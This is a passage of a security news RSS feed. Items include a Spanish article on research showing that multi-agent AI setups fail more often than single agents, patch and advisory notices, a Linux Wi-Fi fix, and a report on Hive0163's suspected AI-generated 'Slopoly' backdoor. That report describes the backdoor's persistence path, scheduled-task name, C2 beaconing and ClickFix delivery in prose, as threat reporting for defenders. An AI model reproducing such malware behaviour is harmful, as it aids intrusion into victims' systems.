<p>“Los sistemas de IA fracasan por las mismas razones estructurales que las organizaciones humanas, a pesar de la eliminación de todos los factores causales específicos de los humanos”, escribe McEntire. “Sin incentivos profesionales. Sin ego. Sin política. Sin fatiga. Sin normas culturales. Sin competencia por el estatus. Los agentes eran modelos de lenguaje que ejecutaban indicaciones. La disfunción surgió de todos modos”.</p>



<h2 class="wp-block-heading">La complejidad falla</h2>



<p>Quizás no sea sorprendente que, cuantos más agentes se añadan a la mezcla y cuanto más compleja sea la estructura organizativa de los agentes, más a menudo fracasan en el cumplimiento de las tareas asignadas, afirma McEntire, que también es jefe de ingeniería del servicio de alquiler de vacaciones de lujo Wander.</p>



<p>McEntire probó los resultados de los agentes basándose en cuatro estructuras organizativas. Al utilizar un único agente para producir el resultado, los agentes tuvieron éxito en 28 de 28 intentos. Varios agentes en una organización jerárquica, en la que un agente asignaba tareas a los demás, no lograron el resultado correcto en el 36% de los casos.</p>



<p>Un enfoque de emergencia de estigmergia, con agentes trabajando en un enjambre autoorganizado, falló el 68% de las veces, y un proceso por etapas de 11 fases, o enjambre organizativo, nunca produjo un buen resultado. De hecho, el proceso por etapas consumió todo el presupuesto del proyecto en cinco fases de planificación sin producir una sola línea de código de implementación.</p>



<p>“Todos y cada uno de los experimentos que realicé fracasaron de forma contraintuitiva, exactamente de la manera en que, en teoría, se supone que están diseñados para no hacerlo”, afirma McEntire. “El proceso se movía en círculos. La jerarquía no logró delegar. El sistema estigmérgico no logró coordinarse, que es precisamente el objetivo de la estigmergia. El único que tuvo éxito de forma fiable y consistente fue el agente único”.</p>



<p>Los problemas organizativos de grandes datos no desaparecen cuando los humanos pasan a ser agentes de IA, afirma McEntire. “Los mismos patrones de fracaso que caracterizan a las organizaciones humanas —revisiones interminables, control de acceso basado en preferencias, conflictos de gobernanza, agotamiento del presupuesto por fallos de coordinación— surgen en los sistemas de IA multiagente con firmas matemáticas idénticas”, escribe en su artículo. “El sustrato cambia; la física de la coordinación a gran escala permanece constante”.</p>



<h2 class="wp-block-heading">Resultados replicados</h2>



<p>Aunque podría ser tentador descartar a McEntire como una voz solitaria que clama en el desierto, varios expertos en IA afirman que observan resultados similares. Mientras desarrollaba una plataforma de agentes de IA en un trabajo anterior, Diptamay Sanyal observó problemas similares con los agentes que trabajaban juntos. Los agentes individuales que trabajan en tareas discretas y bien delimitadas son fiables, pero la colaboración entre múltiples agentes a menudo fracasa, afirma Sanyal, ahora ingeniero principal en el proveedor de ciberseguridad CrowdStrike. “Los ratios de error aumentan rápidamente a medida que crece la complejidad, tal y como reveló el estudio”, añade. “La sobrecarga de coordinación, el intercambio de contexto y la propagación de errores entre agentes reflejan la disfunción organizativa humana a gran escala”.</p>



<p>Sin embargo, el encadenamiento de agentes, que no es una verdadera colaboración, puede funcionar, señala, lo que coincide con las observaciones de otros expertos en IA. “La detección de amenazas, el enriquecimiento de alertas y la contención automatizada funcionan mejor como módulos discretos y bien delimitados encadenados a través de capas de orquestación”, afirma. “Desde fuera parece una cooperación entre múltiples agentes, pero desde el punto de vista arquitectónico se trata de una especialización secuencial con traspasos determinísticos y puntos de control humanos integrados”.</p>



<p>La visión de docenas de agentes colaborando de forma autónoma sin intervención humana aún no es una realidad, añade. “El verdadero valor de los agentes de IA hoy en día es automatizar tareas repetitivas y bien definidas a gran escala, complementando a los analistas humanos con un procesamiento rápido de datos y resultados consistentes. No es inteligencia colectiva emergente”, añade.</p>



<h2 class="wp-block-heading">Los mismos problemas de siempre</h2>



<p>El artículo de McEntire muestra cómo los problemas comunes de la comunicación humana se trasladan a entornos multiagente, afirma Nik Kale, ingeniero principal y arquitecto de plataformas que trabaja en la coordinación multiagente y el diseño de sistemas de agentes en Cisco. “Cada traspaso entre sistemas es un punto en el que se pierde el significado, se comprime el contexto y se hacen suposiciones”, afirma. “Los humanos lidian con esto en las organizaciones acercándose al escritorio de alguien y diciendo: ‘Espera, ¿qué querías decir realmente con eso?’. Los agentes no tienen conversaciones en los pasillos”.</p>



<p>Los responsables de TI que implementan agentes deberían centrarse en agentes individuales dedicados a tareas bien delimitadas, lo que genera resultados “sorprendentemente fiables”, añade Kale. “El argumento de venta de ‘docenas de agentes trabajando juntos de forma autónoma’ vende una fantasía que viola la teoría de la información”, dice. “No se deja que los agentes colaboren. Se deja que los agentes cumplan con unas especificaciones y se deja que una capa de orquestación ligera ensamble los resultados”.</p>



<p>Los sistemas multiagente deberían partir de un único agente altamente estructurado que trabaje en una tarea especializada, o de múltiples agentes que operen dentro de límites estrictos, modelos de contexto compartidos y controles de evaluación, añade Shanea Leven, directora ejecutiva de Empromptu.ai, proveedor de creación de aplicaciones basadas en IA. “La idea de que docenas de agentes puedan colaborar espontáneamente sin supervisión ni límites es tan descabellada como si lo hicieran los humanos”, señala. “El valor de los agentes de IA es real, pero no reside en el comportamiento autónomo de enjambre. Reside en la especialización controlada”.</p>



<h2 class="wp-block-heading">Orquestación de resultados</h2>



<p>Algunos usuarios de IA informan de que han tenido éxito al encadenar agentes entre sí utilizando una herramienta de orquestación. El proveedor de orquestación de personal Asymbl ha desplegado más de 150 agentes, pero sus interacciones entre sí están muy controladas, afirma Shivanath Devinarayanan, director de mano de obra digital y tecnología de la empresa. “Nuestros más de 150 trabajadores digitales interactúan, se pasan el trabajo y entregan colectivamente los resultados que hemos diseñado para ellos, y se coordinan entre sí y con sus compañeros humanos porque hemos construido una capa de orquestación a su alrededor. Antes de que dos agentes de IA interactúen, hemos planificado el traspaso: qué datos se transmiten entre ellos, en qué formato, en qué condiciones, qué desencadena una revisión humana y por qué”, relata.</p>



<p>Un modelo de orquestación que controle a los agentes y defina el papel de cada uno antes de su implementación son piezas clave del rompecabezas, añade. “Contamos con agentes de IA específicos para tareas discretas y agentes con memoria compartida y listas de tareas compartidas para realizar un seguimiento de lo que hacen los demás agentes”, explica Devinarayanan. “La clave en ambos casos: la claridad de las funciones antes de la implementación. ¿De qué es responsable este trabajador digital?, ¿de dónde proviene el trabajo?, ¿adónde va?, y ¿cuándo debe intervenir un humano?”.</p>



<p>El estudio de McEntire confirma lo que Asymbl ha observado: que el fracaso de los sistemas multiagente es un problema de organización y coordinación, no tecnológico, añade. “El estudio desvela que los agentes adolecen de los mismos fallos de coordinación que los humanos cuando trabajan juntos”, reflexiona Devinarayanan. “Los agentes se basan en el razonamiento humano. Heredan los modos de fallo organizativo humanos cuando el diseño organizativo es débil”.</p>



<p>Los proveedores o defensores de la IA que abogan por docenas de agentes trabajando juntos sin intervención humana están promoviendo una visión errónea, añade. “El modelo mental adecuado es una plantilla híbrida: trabajadores digitales con funciones claras, trabajadores humanos encargados de la supervisión y la toma de decisiones, y una capa de coordinación que conecte a ambos”, concluye.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Wednesday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (.NET 10.0, .NET 9.0, compat-openssl11, container-tools:rhel8, grub2, and libvpx), Debian (ansible, gst-plugins-base1.0, and nodejs), Fedora (chromium, forgejo, and systemd), Oracle (container-tools:rhel8, grub2, kernel, libpng, libvpx, nginx, opencr...]]></description>
<link>https://tsecurity.de/de/3359295/linux-tipps/security-updates-for-wednesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3359295/linux-tipps/security-updates-for-wednesday/</guid>
<pubDate>Wed, 18 Mar 2026 14:24:52 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (.NET 10.0, .NET 9.0, compat-openssl11, container-tools:rhel8, grub2, and libvpx), <b>Debian</b> (ansible, gst-plugins-base1.0, and nodejs), <b>Fedora</b> (chromium, forgejo, and systemd), <b>Oracle</b> (container-tools:rhel8, grub2, kernel, libpng, libvpx, nginx, opencryptoki, python3.12, and vim), <b>Red Hat</b> (firefox, python-wheel, python3.12-wheel, and thunderbird), <b>SUSE</b> (389-ds, chromium, clamav, container-suseconnect, curl, freerdp, gvfs, kea, kubernetes, ruby4.0-rubygem-minitar, ruby4.0-rubygem-multi_xml, ruby4.0-rubygem-nokogiri, ruby4.0-rubygem-puma, ruby4.0-rubygem-rack, ruby4.0-rubygem-rack-session, ruby4.0-rubygem-rails, ruby4.0-rubygem-rails-html-sanitizer, ruby4.0-rubygem-railties, ruby4.0-rubygem-rubyzip, vim, and xen), and <b>Ubuntu</b> (flask, libssh, linux-aws-5.15, linux-gcp-5.15, linux-gke, linux-hwe-5.15,
 linux-intel-iotg-5.15, linux-lowlatency-hwe-5.15, linux-oracle-5.15, linux-gcp-6.17, linux-realtime, linux-realtime, linux-realtime, linux-realtime-6.8, snapd, and vim).]]></content:encoded>
</item>
<item>
<title><![CDATA[Windsurf IDE Extension Drops Malware via Solana Blockchain]]></title>
<description><![CDATA[Bitdefender researchers have discovered a malicious Windsurf IDE (integrated development environment) extension that deploys a multi-stage NodeJS stealer by using the Solana blockchain as the payload infrastructure.]]></description>
<link>https://tsecurity.de/de/3359289/it-security-nachrichten/windsurf-ide-extension-drops-malware-via-solana-blockchain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3359289/it-security-nachrichten/windsurf-ide-extension-drops-malware-via-solana-blockchain/</guid>
<pubDate>Wed, 18 Mar 2026 14:22:33 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Bitdefender researchers have discovered a malicious Windsurf IDE (integrated development environment) extension that deploys a multi-stage NodeJS stealer by using the Solana blockchain as the payload infrastructure.]]></content:encoded>
</item>
<item>
<title><![CDATA[DSA-6166-1 nodejs - security update]]></title>
<description><![CDATA[Multiple vulnerabilities were discovered in Node.js, which could result
in denial of service or information disclosure or bypass of file
restrictions.


https://security-tracker.debian.org/tracker/DSA-6166-1]]></description>
<link>https://tsecurity.de/de/3357704/unix-server/dsa-6166-1-nodejs-security-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3357704/unix-server/dsa-6166-1-nodejs-security-update/</guid>
<pubDate>Wed, 18 Mar 2026 01:15:41 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Multiple vulnerabilities were discovered in Node.js, which could result
in denial of service or information disclosure or bypass of file
restrictions.

<p>
<a href="https://security-tracker.debian.org/tracker/DSA-6166-1">https://security-tracker.debian.org/tracker/DSA-6166-1</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mehrere Probleme in nodejs (Debian)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3357618/it-security-nachrichten/mehrere-probleme-in-nodejs-debian/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3357618/it-security-nachrichten/mehrere-probleme-in-nodejs-debian/</guid>
<pubDate>Tue, 17 Mar 2026 23:51:01 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
</item>
<item>
<title><![CDATA[Node.js Secure Coding - Oliver Tavakoli, Chris Thomas, Liran Tal - ASW #286]]></title>
<description><![CDATA[Secure coding education should be more than a list of issues or repeating generic advice. Liran Tal explains his approach to teaching developers through examples that start with exploiting known vulns and end with discussions on possible fixes. Not only does this create a more engaging experience...]]></description>
<link>https://tsecurity.de/de/3356591/it-security-nachrichten/nodejs-secure-coding-oliver-tavakoli-chris-thomas-liran-tal-asw-286/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3356591/it-security-nachrichten/nodejs-secure-coding-oliver-tavakoli-chris-thomas-liran-tal-asw-286/</guid>
<pubDate>Tue, 17 Mar 2026 18:05:09 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Secure coding education should be more than a list of issues or repeating generic advice. Liran Tal explains his approach to teaching developers through examples that start with exploiting known vulns and end with discussions on possible fixes. Not only does this create a more engaging experience, but it also relies on code that looks familiar to developers rather than contrived or overly simplistic examples.</p> <p>Segment resources:</p> <ul> <li><a rel="noopener" target="_blank" href="https://github.com/lirantal">https://github.com/lirantal</a></li> <li><a rel="noopener" target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/NPM_Security_Cheat_Sheet.html"> https://cheatsheetseries.owasp.org/cheatsheets/NPM<em>Security</em>Cheat_Sheet.html</a></li> <li><a rel="noopener" target="_blank" href="https://lirantal.com/blog/poor-express-authentication-patterns-nodejs"> https://lirantal.com/blog/poor-express-authentication-patterns-nodejs</a></li> </ul> <p>The challenge of evaluating threat alerts in aggregate – what a collection and sequence of threat signals tell us about an attacker's sophistication and motives – has bedeviled SOC teams since the dawn of the Iron Age. Vectra AI CTO Oliver Tavakoli will discuss how the design principles of our XDR platform deal with this challenge and how GenAI impacts this perspective.</p> <p>Segment Resources:</p> <ol> <li> <p>Vectra AI Platform Video: <a rel="noopener" target="_blank" href="https://vimeo.com/916801622">https://vimeo.com/916801622</a></p> </li> <li> <p>Blog: <a rel="noopener" target="_blank" href="https://www.vectra.ai/blog/what-is-xdr-the-promise-of-xdr-capabilities-explained"> https://www.vectra.ai/blog/what-is-xdr-the-promise-of-xdr-capabilities-explained</a></p> </li> <li> <p>Blog: <a rel="noopener" target="_blank" href="https://www.vectra.ai/blog/xdr-explored-the-evolution-and-impact-of-extended-detection-and-response"> https://www.vectra.ai/blog/xdr-explored-the-evolution-and-impact-of-extended-detection-and-response</a></p> </li> <li> <p>MXDR Calculator: <a rel="noopener" target="_blank" href="https://www.vectra.ai/calculators/mxdr-value-calculator">https://www.vectra.ai/calculators/mxdr-value-calculator</a></p> </li> </ol> <p>This segment is sponsored by Vectra AI. Visit <a rel="noopener" target="_blank" href="https://securityweekly.com/vectrarsac">https://securityweekly.com/vectrarsac</a> to learn more about them!</p> <p>In this interview, we will discuss the network security challenges of business applications and how they can also be the solution. AlgoSec has spent over two decades tackling tough security issues in some of the world's most complex networks. Now, they're applying their expertise to hybrid networks—where customers are combining their on-premise resources along with multiple cloud providers.</p> <p>Segment Resources: <a rel="noopener" target="_blank" href="https://www.algosec.com/resources/">https://www.algosec.com/resources/</a></p> <p>This segment is sponsored by AlgoSec. Visit <a rel="noopener" target="_blank" href="https://securityweekly.com/algosecrsac">https://securityweekly.com/algosecrsac</a> to learn more about them!</p> <p>Visit <a rel="noopener" target="_blank" href="https://www.securityweekly.com/asw">https://www.securityweekly.com/asw</a> for all the latest episodes!</p> <p>Show Notes: <a rel="noopener" target="_blank" href="https://securityweekly.com/asw-286">https://securityweekly.com/asw-286</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Instalé Linux Mint 22.3 en mi laptop Asus Vivobook X1605VA-X1605VA con la tarjeta WiFi MediaTek MT7902: problemas detectados y mi solución, no es tan eficiente, pero sirve para ver videos en youtube, facebook, instagram, IAS, etc.]]></title>
<description><![CDATA[Recientemente instalé Linux Mint 22.3 en mi Asus Vivobook X1605VA-X1605VA (Raptor Lake) y el primer obstáculo fue que la tarjeta inalámbrica MediaTek MT7902 no era detectada. No había rastro del hardware en la interfaz de red. Para trabajar en la solución, utilicé tethering por USB desde mi teléf...]]></description>
<link>https://tsecurity.de/de/3348531/linux-tipps/instal-linux-mint-223-en-mi-laptop-asus-vivobook-x1605va-x1605va-con-la-tarjeta-wifi-mediatek-mt7902-problemas-detectados-y-mi-solucin-no-es-tan-eficiente-pero-sirve-para-ver-videos-en-youtube-facebook-instagram-ias-etc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3348531/linux-tipps/instal-linux-mint-223-en-mi-laptop-asus-vivobook-x1605va-x1605va-con-la-tarjeta-wifi-mediatek-mt7902-problemas-detectados-y-mi-solucin-no-es-tan-eficiente-pero-sirve-para-ver-videos-en-youtube-facebook-instagram-ias-etc/</guid>
<pubDate>Sat, 14 Mar 2026 02:07:13 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Recientemente instalé Linux Mint 22.3 en mi Asus Vivobook X1605VA-X1605VA (Raptor Lake) y el primer obstáculo fue que la tarjeta inalámbrica <strong>MediaTek MT7902</strong> no era detectada. No había rastro del hardware en la interfaz de red. Para trabajar en la solución, utilicé tethering por USB desde mi teléfono para obtener conectividad inicial. Al investigar mediante la terminal, identifiqué un error de mapeo en el Kernel (v6.17). Aunque físicamente la laptop porta una <strong>MT7902 (Device ID 02)</strong>, el sistema la reconoce como una <strong>MT7921 (Device ID 01)</strong>. Según lo reportado en las listas de correo de desarrolladores de subsistemas de red de Linux, este error de un solo dígito provoca que se cargue el controlador <code>mt7921e</code>, el cual es totalmente incompatible, dejando la tarjeta inactiva de fábrica.</p> <p><strong>Pasos realizados para la solución:</strong></p> <ol> <li><strong>Conexión externa:</strong> Uso de tethering USB para la descarga de dependencias.</li> <li><strong>Compilación manual:</strong> Instalación de un controlador específico fuera del árbol oficial (repositorio gen4-mt7902).</li> <li><strong>Configuración de dominio reglamentario:</strong> Ajuste manual de la región (Ecuador) mediante <code>iw reg set</code> para desbloquear canales y potencias locales.</li> <li><strong>Gestión de potencia (TX Power):</strong> Siguiendo guías de optimización de redes inalámbricas en Linux, incrementé manualmente el límite de transmisión de la antena para estabilizar el enlace.</li> <li><strong>Desactivación del Power Management:</strong> Configuración en <code>/etc/NetworkManager/conf.d/</code> para evitar que la tarjeta entre en estado de latencia, eliminando caídas repentinas de velocidad.</li> </ol> <p><strong>Rendimiento real y uso diario:</strong></p> <p>La solución es funcional pero no 100% eficiente debido a la falta de soporte nativo:</p> <ul> <li><strong>Banda 5 GHz:</strong> Se obtienen tasas de hasta <strong>480.3 Mbps</strong>. Es estable para streaming en YouTube, navegar en redes sociales y trabajar con modelos de IA, aunque ocurren fallos menores esporádicos.</li> <li><strong>Banda 2.4 GHz:</strong> El rendimiento es deficiente, con caídas hasta <strong>1.0 Mbps</strong>. Es sumamente sensible a la distancia con el router.</li> </ul> <p><strong>Componentes del sistema (Datos de inxi):</strong></p> <ul> <li><strong>CPU:</strong> 13th Gen Intel Core i9-13900H (14 cores / 20 threads)</li> <li><strong>RAM:</strong> 16 GB DDR4</li> <li><strong>Almacenamiento:</strong> 1 TB Samsung NVMe (MZVL81T0HELB)</li> <li><strong>Modelo:</strong> Vivobook-ASUSLaptop-X1605VA-X1605VA. </li> </ul> <p><strong>Fuentes consultadas:</strong></p> <ul> <li>Diagnóstico de hardware mediante <code>lspci -nnk</code> e <code>iw dev</code>.</li> <li>Reportes técnicos sobre los parches de Sean Wang (MediaTek) para la inclusión del soporte MT7902 en el Kernel 7.1 (vía Phoronix/Linux Kernel Mailing List).</li> <li>Documentación de la comunidad sobre optimización de controladores <code>mt76</code> en hardware Raptor Lake.</li> </ul> <p>NOTA: ESTA SOLUCIÓN NO ES OFICIAL. SOLO LES COMPARTO EL PROCEDIMIENTO QUE SE SIGUIÓ PARA HACER FUNCIONAL EL HARDWARE EN ESTA VERSIÓN DEL KERNEL.</p> <p><a href="https://preview.redd.it/gozbtx8mmwog1.png?width=3840&amp;format=png&amp;auto=webp&amp;s=be5689b385e5f1218aba436da864f2c7f96acc1e">https://preview.redd.it/gozbtx8mmwog1.png?width=3840&amp;format=png&amp;auto=webp&amp;s=be5689b385e5f1218aba436da864f2c7f96acc1e</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/JesusAlexanderJama"> /u/JesusAlexanderJama </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1rt4s6b/instal%C3%A9_linux_mint_223_en_mi_laptop_asus_vivobook/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1rt4s6b/instal%C3%A9_linux_mint_223_en_mi_laptop_asus_vivobook/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hive0163 Ransomware Operators Use AI-Generated Slopoly Malware]]></title>
<description><![CDATA[Researchers have identified a suspected case of AI-generated malware being used during a ransomware attack. 

The malware, which analysts dubbed "Slopoly," was linked to a financially motivated cybercrime group tracked as Hive0163. The appearance of Slopoly in an active ransomware intrusion sug...]]></description>
<link>https://tsecurity.de/de/3346592/it-security-nachrichten/hive0163-ransomware-operators-use-ai-generated-slopoly-malware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3346592/it-security-nachrichten/hive0163-ransomware-operators-use-ai-generated-slopoly-malware/</guid>
<pubDate>Fri, 13 Mar 2026 12:52:05 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1273" src="https://thecyberexpress.com/wp-content/uploads/Slopoly.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Slopoly" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Slopoly.webp 1920w, https://thecyberexpress.com/wp-content/uploads/Slopoly-300x199.webp 300w, https://thecyberexpress.com/wp-content/uploads/Slopoly-1024x679.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Slopoly-768x509.webp 768w, https://thecyberexpress.com/wp-content/uploads/Slopoly-1536x1018.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Slopoly-600x398.webp 600w, https://thecyberexpress.com/wp-content/uploads/Slopoly-150x99.webp 150w, https://thecyberexpress.com/wp-content/uploads/Slopoly-750x497.webp 750w, https://thecyberexpress.com/wp-content/uploads/Slopoly-1140x756.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Slopoly.webp 1920w, https://thecyberexpress.com/wp-content/uploads/Slopoly-300x199.webp 300w, https://thecyberexpress.com/wp-content/uploads/Slopoly-1024x679.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Slopoly-768x509.webp 768w, https://thecyberexpress.com/wp-content/uploads/Slopoly-1536x1018.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Slopoly-600x398.webp 600w, https://thecyberexpress.com/wp-content/uploads/Slopoly-150x99.webp 150w, https://thecyberexpress.com/wp-content/uploads/Slopoly-750x497.webp 750w, https://thecyberexpress.com/wp-content/uploads/Slopoly-1140x756.webp 1140w" sizes="(max-width: 1920px) 100vw, 1920px" title="Hive0163 Ransomware Operators Use AI-Generated Slopoly Malware 10"></p><span data-contrast="auto">Researchers have identified a suspected case of AI-generated malware being used during a ransomware attack. </span>

<span data-contrast="auto">The malware, which analysts dubbed "Slopoly," was linked to a financially motivated cybercrime group tracked as Hive0163. The appearance of Slopoly in an active ransomware intrusion suggests that cybercriminal groups are beginning to experiment with AI-generated malware as part of their operational toolkit.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Hive0163 and the Experimentation with AI-generated Malware</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">Hive0163 is a cluster of financially motivated threat actors known for conducting ransomware campaigns that focus on large-scale <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="26948">data</a> theft and extortion. The group has been associated with several global <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-ransomware/" target="_blank" rel="noopener" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="26951">ransomware</a> incidents involving Interlock ransomware, as well as a range of custom backdoors and loaders such as NodeSnake, InterlockRAT, and the JunkFiction loader.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">During a ransomware investigation in early 2026, <a href="https://www.ibm.com/think/x-force/slopoly-start-ai-enhanced-ransomware-attacks" target="_blank" rel="nofollow noopener">IBM X-Force analysts</a> discovered that Hive0163 deployed Slopoly, a suspected AI-generated malware framework designed to maintain persistent access to a compromised server. According to the investigation, the attackers retained access to the infected machine for more than a week using the <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-malware/" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="26949">malware</a>.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Notably, Slopoly was deployed during the later stages of the attack, suggesting the operators may have been testing the AI-generated framework in a real-world scenario. Researchers described the situation as resembling a “live-fire exercise,” where the threat actors experimented with the new tool during an active operation.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The naming conventions of variables within the script indicated that the system generating the code was explicitly instructed to produce malicious functionality. This suggests that any safety guardrails implemented in the underlying <a href="https://thecyberexpress.com/pytorch-vulnerability-cve-2025-32434/" target="_blank" rel="noopener">AI model</a> were successfully bypassed. However, researchers were unable to determine which specific model generated Slopoly, although the overall quality suggested it was likely produced by a relatively less advanced system.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Slopoly is a Suspected LLM-generated C2 Tool</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">The Slopoly <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-malware/" target="_blank" rel="noopener" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="26952">malware</a> was discovered as a PowerShell script on an infected server. Analysis revealed that the script functioned as the client component of a command-and-control (C2) framework used by Hive0163.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Investigators believe the <a href="https://thecyberexpress.com/clipxdaemon-linux-malware/" target="_blank" rel="noopener">malware</a> was generated through a builder tool that automatically inserted configuration data such as a session ID, mutex name, C2 server address, and beacon intervals. The builder reportedly deployed Slopoly into the directory </span><span data-contrast="auto">C:\ProgramData\Microsoft\Windows\Runtime\</span><span data-contrast="auto"> and established persistence by creating a scheduled task named “Runtime Broker.”</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Several characteristics strongly suggested that Slopoly was produced using a large language model. The script contained extensive comments, structured logging functions, clear error handling routines, and well-named variables, features commonly seen in AI-generated malware and AI-assisted programming.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Another clue pointing to AI-assisted development was the presence of an unused “Jitter” function within the code. Researchers believe this may have been left over from iterative development with an LLM.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Interestingly, the script’s internal comments describe it as a “Polymorphic C2 Persistence Client.” In practice, however, the malware does not exhibit true polymorphic behavior. It cannot modify its own code during execution. Instead, the builder likely generates new variants of the malware with randomized configuration values and function names, a common technique used by malware builders.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">How Slopoly Operates on Infected Systems</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">Despite its limited technicalities, Slopoly operates as a functional backdoor. After execution, it collects basic system information from the infected machine and sends it to a remote command-and-control server.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The data is transmitted in JSON format using an HTTP POST request to the </span><span data-contrast="auto">/api/commands</span><span data-contrast="auto"> endpoint. A typical beacon includes information such as the public IP address of the infected system, the user account name, the computer name, and whether the process is running with elevated privileges.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The malware sends a heartbeat message every 30 seconds and checks for new commands roughly every 50 seconds. Any instructions received from the C2 server are executed using </span><span data-contrast="auto">cmd.exe</span><span data-contrast="auto">, and the results are returned to the server.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The malware also maintains a detailed log file named persistence.log, which records activity and rotates once it reaches a size of 1 MB.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Initial Infection Through ClickFix</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">The attack investigated by the researchers began with a <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-social-engineering/" target="_blank" rel="noopener" title="social engineering" data-wpil-keyword-link="linked" data-wpil-monitor-id="26950">social engineering</a> technique known as ClickFix. This method tricks victims into executing malicious <a href="https://thecyberexpress.com/new-powershell-campaign/" target="_blank" rel="noopener">PowerShell commands</a> themselves.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

